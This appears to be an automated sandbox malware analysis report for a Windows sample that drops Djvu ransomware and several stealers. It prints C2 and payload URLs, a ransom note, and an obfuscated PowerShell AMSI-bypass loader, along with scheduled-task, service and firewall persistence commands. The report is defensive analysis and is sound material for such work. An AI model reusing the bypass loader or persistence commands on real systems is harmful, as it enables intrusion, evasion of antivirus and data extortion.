Analysis

  • max time kernel
    152s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-09-2022 10:26

General

  • Target

    b5743d736182e9f8bccdb2f961b055ea.exe

  • Size

    169KB

  • MD5

    b5743d736182e9f8bccdb2f961b055ea

  • SHA1

    a7f495b07c2be124f46a74995d62e87dc1ebdad1

  • SHA256

    bc344fa8dbd94f5389ffa55482ad2a9eae87b440002fdded287e838264982fc4

  • SHA512

    8e0d8ded1b0a4f13bc9b91430dddad8dcbcea6c684eeab5ffde2b93ce7f569e62c6526a0cef8b5eba23c2d0fd46b49b1036baa46cd294df8d714394abc838198

  • SSDEEP

    3072:kJKLTp55WvFo5J0VWXhj8K/FpHagmNBAuBM/PkW4n:TLTFtYWXBHaF

Malware Config

Extracted

Family

djvu

C2

http://winnlinne.com/lancer/get.php

Attributes
  • extension

    .ofww

  • offline_id

    xkNzhkB1wvgoDI7Uo0HPNLY3qCuwoFpP7nlhlut1

  • payload_url

    http://rgyui.top/dl/build2.exe

    http://winnlinne.com/files/1/build3.exe

  • ransomnote

    ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-EWKSsSJiVn Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: support@bestyourmail.ch Reserve e-mail address to contact us: datarestorehelp@airmail.cc Your personal ID: 0569Jhyjd

rsa_pubkey.plain

Extracted

Family

vidar

Version

54.6

Botnet

517

C2

https://t.me/huobiinside

https://mas.to/@kyriazhs1975

Attributes
  • profile_id

    517

Extracted

Family

raccoon

Botnet

7394a7fc5da9794209d8b0503ca4abf4

C2

http://45.8.145.203

rc4.plain

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Extracted

Family

redline

Botnet

LogsDiller Cloud (Sup: @mr_golds)

C2

77.73.134.27:8163

Attributes
  • auth_value

    56c6f7b9024c076f0a96931453da7e56

Signatures

  • Detected Djvu ransomware 10 IoCs
  • Detects Smokeloader packer 2 IoCs
  • Djvu Ransomware

    Ransomware which is a variant of the STOP family.

  • Raccoon

    Raccoon is an infostealer written in C++ and first seen in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 4 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 19 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 7 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 3 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 15 IoCs
  • Suspicious use of SetThreadContext 9 IoCs
  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 12 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 14 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 8 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 24 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\lsass.exe
    C:\Windows\system32\lsass.exe
    1⤵
      PID:664
    • C:\Windows\system32\winlogon.exe
      winlogon.exe
      1⤵
        PID:576
        • C:\Windows\system32\dwm.exe
          "dwm.exe"
          2⤵
            PID:312
          • C:\Windows\System32\dllhost.exe
            C:\Windows\System32\dllhost.exe /Processid:{f9af4b34-e53d-454f-abbc-c25f13e192ab}
            2⤵
              PID:3088
            • C:\Windows\SysWOW64\dllhost.exe
              C:\Windows\SysWOW64\dllhost.exe /Processid:{3bdc751e-31bb-4b48-a59d-530e4b1a7063}
              2⤵
                PID:1960
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
              1⤵
                PID:944
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
                1⤵
                  PID:508
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                  1⤵
                    PID:676
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                    1⤵
                      PID:1044
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                      1⤵
                        PID:1052
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                        1⤵
                          PID:1140
                          • C:\Windows\system32\taskhostw.exe
                            taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                            2⤵
                              PID:2456
                            • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                              C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                              2⤵
                              • Executes dropped EXE
                              PID:3176
                              • C:\Windows\SysWOW64\schtasks.exe
                                /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
                                3⤵
                                • Creates scheduled task(s)
                                PID:3084
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3176 -s 460
                                3⤵
                                • Program crash
                                PID:4788
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
                              C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:QfJdTbTMEnuI{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$mOpgPFmvwPNqVZ,[Parameter(Position=1)][Type]$KHtHCNKCgh)$jAGYASiVWMg=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$jAGYASiVWMg.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$mOpgPFmvwPNqVZ).SetImplementationFlags('Runtime,Managed');$jAGYASiVWMg.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$KHtHCNKCgh,$mOpgPFmvwPNqVZ).SetImplementationFlags('Runtime,Managed');Write-Output $jAGYASiVWMg.CreateType();}$ZFMpCJVbEMKFh=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$AKRcQbuVLgxBEz=$ZFMpCJVbEMKFh.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$sxkHijFDtCTMNMmzTHm=QfJdTbTMEnuI @([String])([IntPtr]);$mQQPOeWjdZSPuujISzGuGa=QfJdTbTMEnuI @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$UOeRtQxAxRL=$ZFMpCJVbEMKFh.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$tIhIOGBLsNXBQR=$AKRcQbuVLgxBEz.Invoke($Null,@([Object]$UOeRtQxAxRL,[Object]('Load'+'LibraryA')));$lXPEphSXCTGBGqAQS=$AKRcQbuVLgxBEz.Invoke($Null,@([Object]$UOeRtQxAxRL,[Object]('Vir'+'tual'+'Pro'+'tect')));$NVFelgq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tIhIOGBLsNXBQR,$sxkHijFDtCTMNMmzTHm).Invoke('a'+'m'+'si.dll');$YEnxFxegdDnPxYCbB=$AKRcQbuVLgxBEz.Invoke($Null,@([Object]$NVFelgq,[Object]('Ams'+'iSc'+'an'+'Buffer')));$kfHGBVTfgu=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lXPEphSXCTGBGqAQS,$mQQPOeWjdZSPuujISzGuGa).Invoke($YEnxFxegdDnPxYCbB,[uint32]8,4,[ref]$kfHGBVTfgu);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$YEnxFxegdDnPxYCbB,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lXPEphSXCTGBGqAQS,$mQQPOeWjdZSPuujISzGuGa).Invoke($YEnxFxegdDnPxYCbB,[uint32]8,0x20,[ref]$kfHGBVTfgu);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)"
                              2⤵
                              • Suspicious use of NtCreateUserProcessOtherParentProcess
                              • Drops file in System32 directory
                              • Suspicious use of SetThreadContext
                              • Modifies data under HKEY_USERS
                              PID:4652
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:cGHOneuTFdtQ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$IJEDsNHOpusMBC,[Parameter(Position=1)][Type]$fOJJLoQDPx)$FHWXnzmBVOZ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$FHWXnzmBVOZ.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$IJEDsNHOpusMBC).SetImplementationFlags('Runtime,Managed');$FHWXnzmBVOZ.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$fOJJLoQDPx,$IJEDsNHOpusMBC).SetImplementationFlags('Runtime,Managed');Write-Output $FHWXnzmBVOZ.CreateType();}$YPVroUeMAyTPk=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$jaHEfziUuLlNRN=$YPVroUeMAyTPk.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$BUqwXmcuTOQRVYfWXrm=cGHOneuTFdtQ @([String])([IntPtr]);$MhRDOWREKvdlCAAiWNKwxN=cGHOneuTFdtQ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$cXiGjyOGqGR=$YPVroUeMAyTPk.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$FhmCUedmQmHsYe=$jaHEfziUuLlNRN.Invoke($Null,@([Object]$cXiGjyOGqGR,[Object]('Load'+'LibraryA')));$ISViJggWhRNLdnzsZ=$jaHEfziUuLlNRN.Invoke($Null,@([Object]$cXiGjyOGqGR,[Object]('Vir'+'tual'+'Pro'+'tect')));$ADdCMDz=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FhmCUedmQmHsYe,$BUqwXmcuTOQRVYfWXrm).Invoke('a'+'m'+'si.dll');$EmTgPtzqYfcbXkPmg=$jaHEfziUuLlNRN.Invoke($Null,@([Object]$ADdCMDz,[Object]('Ams'+'iSc'+'an'+'Buffer')));$VrMNbTIWqL=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ISViJggWhRNLdnzsZ,$MhRDOWREKvdlCAAiWNKwxN).Invoke($EmTgPtzqYfcbXkPmg,[uint32]8,4,[ref]$VrMNbTIWqL);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$EmTgPtzqYfcbXkPmg,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ISViJggWhRNLdnzsZ,$MhRDOWREKvdlCAAiWNKwxN).Invoke($EmTgPtzqYfcbXkPmg,[uint32]8,0x20,[ref]$VrMNbTIWqL);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)"
                              2⤵
                              • Suspicious use of NtCreateUserProcessOtherParentProcess
                              • Drops file in System32 directory
                              • Suspicious use of SetThreadContext
                              • Modifies data under HKEY_USERS
                              PID:4108
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                            1⤵
                              PID:1176
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                              1⤵
                                PID:1232
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                1⤵
                                  PID:1468
                                • C:\Windows\System32\svchost.exe
                                  C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                  1⤵
                                    PID:1808
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                    1⤵
                                      PID:2108
                                    • C:\Windows\system32\sihost.exe
                                      sihost.exe
                                      1⤵
                                        PID:2336
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                        1⤵
                                          PID:2516
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                          1⤵
                                            PID:2756
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                            1⤵
                                              PID:2796
                                            • C:\Windows\System32\RuntimeBroker.exe
                                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                                              1⤵
                                                PID:3584
                                              • C:\Windows\System32\RuntimeBroker.exe
                                                C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                1⤵
                                                  PID:3868
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                  1⤵
                                                    PID:4732
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                    1⤵
                                                      PID:3440
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                      1⤵
                                                        PID:1184
                                                      • C:\Windows\system32\SppExtComObj.exe
                                                        C:\Windows\system32\SppExtComObj.exe -Embedding
                                                        1⤵
                                                          PID:1040
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                          1⤵
                                                            PID:2744
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k LocalService -s W32Time
                                                            1⤵
                                                              PID:3664
                                                            • C:\Windows\System32\RuntimeBroker.exe
                                                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                              1⤵
                                                                PID:4836
                                                              • C:\Windows\system32\DllHost.exe
                                                                C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                1⤵
                                                                  PID:3464
                                                                  • C:\Windows\system32\WerFault.exe
                                                                    C:\Windows\system32\WerFault.exe -u -p 3464 -s 392
                                                                    2⤵
                                                                    • Program crash
                                                                    • Checks processor information in registry
                                                                    • Enumerates system info in registry
                                                                    PID:6132
                                                                • C:\Windows\system32\DllHost.exe
                                                                  C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                  1⤵
                                                                    PID:3352
                                                                    • C:\Windows\system32\WerFault.exe
                                                                      C:\Windows\system32\WerFault.exe -u -p 3352 -s 404
                                                                      2⤵
                                                                      • Program crash
                                                                      • Checks processor information in registry
                                                                      • Enumerates system info in registry
                                                                      PID:6204
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                    1⤵
                                                                      PID:3160
                                                                    • C:\Windows\Explorer.EXE
                                                                      C:\Windows\Explorer.EXE
                                                                      1⤵
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      • Suspicious behavior: GetForegroundWindowSpam
                                                                      • Suspicious behavior: MapViewOfSection
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      • Suspicious use of FindShellTrayWindow
                                                                      • Suspicious use of SendNotifyMessage
                                                                      • Suspicious use of WriteProcessMemory
                                                                      PID:3004
                                                                      • C:\Users\Admin\AppData\Local\Temp\b5743d736182e9f8bccdb2f961b055ea.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\b5743d736182e9f8bccdb2f961b055ea.exe"
                                                                        2⤵
                                                                        • Checks SCSI registry key(s)
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        • Suspicious behavior: MapViewOfSection
                                                                        PID:2228
                                                                      • C:\Windows\system32\regsvr32.exe
                                                                        regsvr32 /s C:\Users\Admin\AppData\Local\Temp\42B6.dll
                                                                        2⤵
                                                                        • Suspicious use of WriteProcessMemory
                                                                        PID:2668
                                                                        • C:\Windows\SysWOW64\regsvr32.exe
                                                                          /s C:\Users\Admin\AppData\Local\Temp\42B6.dll
                                                                          3⤵
                                                                          • Loads dropped DLL
                                                                          PID:3232
                                                                      • C:\Users\Admin\AppData\Local\Temp\43FF.exe
                                                                        C:\Users\Admin\AppData\Local\Temp\43FF.exe
                                                                        2⤵
                                                                        • Executes dropped EXE
                                                                        • Checks SCSI registry key(s)
                                                                        • Suspicious behavior: MapViewOfSection
                                                                        PID:1828
                                                                      • C:\Users\Admin\AppData\Local\Temp\4855.exe
                                                                        C:\Users\Admin\AppData\Local\Temp\4855.exe
                                                                        2⤵
                                                                        • Executes dropped EXE
                                                                        • Checks computer location settings
                                                                        • Suspicious use of SetThreadContext
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        • Suspicious use of WriteProcessMemory
                                                                        PID:4348
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQA1AA==
                                                                          3⤵
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:2224
                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                                                                          C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                                                                          3⤵
                                                                            PID:1824
                                                                        • C:\Users\Admin\AppData\Local\Temp\4A5A.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\4A5A.exe
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          • Suspicious use of SetThreadContext
                                                                          • Suspicious use of WriteProcessMemory
                                                                          PID:2352
                                                                          • C:\Users\Admin\AppData\Local\Temp\4A5A.exe
                                                                            C:\Users\Admin\AppData\Local\Temp\4A5A.exe
                                                                            3⤵
                                                                            • Executes dropped EXE
                                                                            • Checks computer location settings
                                                                            • Adds Run key to start application
                                                                            • Suspicious use of WriteProcessMemory
                                                                            PID:1724
                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                              icacls "C:\Users\Admin\AppData\Local\7154813d-7315-4500-80aa-8aa353e20a9e" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                                                                              4⤵
                                                                              • Modifies file permissions
                                                                              PID:3684
                                                                            • C:\Users\Admin\AppData\Local\Temp\4A5A.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\4A5A.exe" --Admin IsNotAutoStart IsNotTask
                                                                              4⤵
                                                                              • Executes dropped EXE
                                                                              • Suspicious use of SetThreadContext
                                                                              • Suspicious use of WriteProcessMemory
                                                                              PID:396
                                                                              • C:\Users\Admin\AppData\Local\Temp\4A5A.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\4A5A.exe" --Admin IsNotAutoStart IsNotTask
                                                                                5⤵
                                                                                • Executes dropped EXE
                                                                                • Checks computer location settings
                                                                                • Suspicious use of WriteProcessMemory
                                                                                PID:4104
                                                                                • C:\Users\Admin\AppData\Local\e166b36a-23fd-4ee3-a4bf-a047dc1d7e9c\build2.exe
                                                                                  "C:\Users\Admin\AppData\Local\e166b36a-23fd-4ee3-a4bf-a047dc1d7e9c\build2.exe"
                                                                                  6⤵
                                                                                  • Executes dropped EXE
                                                                                  • Suspicious use of SetThreadContext
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:1820
                                                                                  • C:\Users\Admin\AppData\Local\e166b36a-23fd-4ee3-a4bf-a047dc1d7e9c\build2.exe
                                                                                    "C:\Users\Admin\AppData\Local\e166b36a-23fd-4ee3-a4bf-a047dc1d7e9c\build2.exe"
                                                                                    7⤵
                                                                                    • Executes dropped EXE
                                                                                    • Checks computer location settings
                                                                                    • Loads dropped DLL
                                                                                    • Checks processor information in registry
                                                                                    PID:2300
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" ˆZ/c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\e166b36a-23fd-4ee3-a4bf-a047dc1d7e9c\build2.exe" & del C:\PrograData\*.dll & exit
                                                                                      8⤵
                                                                                        PID:1800
                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                          taskkill /im build2.exe /f
                                                                                          9⤵
                                                                                          • Kills process with taskkill
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:388
                                                                                        • C:\Windows\SysWOW64\timeout.exe
                                                                                          timeout /t 6
                                                                                          9⤵
                                                                                          • Delays execution with timeout.exe
                                                                                          PID:5104
                                                                                  • C:\Users\Admin\AppData\Local\e166b36a-23fd-4ee3-a4bf-a047dc1d7e9c\build3.exe
                                                                                    "C:\Users\Admin\AppData\Local\e166b36a-23fd-4ee3-a4bf-a047dc1d7e9c\build3.exe"
                                                                                    6⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:2100
                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                      /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
                                                                                      7⤵
                                                                                      • Creates scheduled task(s)
                                                                                      PID:5056
                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4104 -s 1916
                                                                                    6⤵
                                                                                    • Program crash
                                                                                    PID:1568
                                                                          • C:\Windows\SysWOW64\explorer.exe
                                                                            C:\Windows\SysWOW64\explorer.exe
                                                                            2⤵
                                                                            • Accesses Microsoft Outlook profiles
                                                                            • outlook_office_path
                                                                            • outlook_win_path
                                                                            PID:4376
                                                                          • C:\Windows\explorer.exe
                                                                            C:\Windows\explorer.exe
                                                                            2⤵
                                                                              PID:4940
                                                                            • C:\Users\Admin\AppData\Local\Temp\C298.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\C298.exe
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • Suspicious use of SetThreadContext
                                                                              PID:4864
                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                                                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                                                                                3⤵
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                PID:102528
                                                                            • C:\Users\Admin\AppData\Local\Temp\C51A.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\C51A.exe
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • Checks computer location settings
                                                                              PID:7784
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bddbakit\
                                                                                3⤵
                                                                                  PID:31048
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qhxcgqfe.exe" C:\Windows\SysWOW64\bddbakit\
                                                                                  3⤵
                                                                                    PID:43468
                                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                                    "C:\Windows\System32\sc.exe" create bddbakit binPath= "C:\Windows\SysWOW64\bddbakit\qhxcgqfe.exe /d\"C:\Users\Admin\AppData\Local\Temp\C51A.exe\"" type= own start= auto DisplayName= "wifi support"
                                                                                    3⤵
                                                                                    • Launches sc.exe
                                                                                    PID:49368
                                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                                    "C:\Windows\System32\sc.exe" description bddbakit "wifi internet conection"
                                                                                    3⤵
                                                                                    • Launches sc.exe
                                                                                    PID:57112
                                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                                    "C:\Windows\System32\sc.exe" start bddbakit
                                                                                    3⤵
                                                                                    • Launches sc.exe
                                                                                    PID:61664
                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                    "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                                                                                    3⤵
                                                                                    • Modifies Windows Firewall
                                                                                    PID:64704
                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 7784 -s 1036
                                                                                    3⤵
                                                                                    • Program crash
                                                                                    PID:71900
                                                                                • C:\Users\Admin\AppData\Local\Temp\C7F9.exe
                                                                                  C:\Users\Admin\AppData\Local\Temp\C7F9.exe
                                                                                  2⤵
                                                                                  • Executes dropped EXE
                                                                                  PID:18692
                                                                                • C:\Users\Admin\AppData\Local\Temp\CCAD.exe
                                                                                  C:\Users\Admin\AppData\Local\Temp\CCAD.exe
                                                                                  2⤵
                                                                                  • Executes dropped EXE
                                                                                  • Checks computer location settings
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:35400
                                                                                  • C:\Users\Admin\AppData\Local\Temp\syst.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\syst.exe"
                                                                                    3⤵
                                                                                    • Executes dropped EXE
                                                                                    • Drops file in System32 directory
                                                                                    PID:103152
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c schtasks /create /TN "$77host" /XML "C:\Windows\SysWOW64\$77Host.xml" /f
                                                                                      4⤵
                                                                                        PID:2004
                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                          schtasks /create /TN "$77host" /XML "C:\Windows\SysWOW64\$77Host.xml" /f
                                                                                          5⤵
                                                                                          • Creates scheduled task(s)
                                                                                          PID:116
                                                                                      • C:\Windows\SysWOW64\$77Install.exe
                                                                                        "C:\Windows\SysWOW64\$77Install.exe"
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        • Drops file in Windows directory
                                                                                        PID:628
                                                                                    • C:\Windows\SysWOW64\WerFault.exe
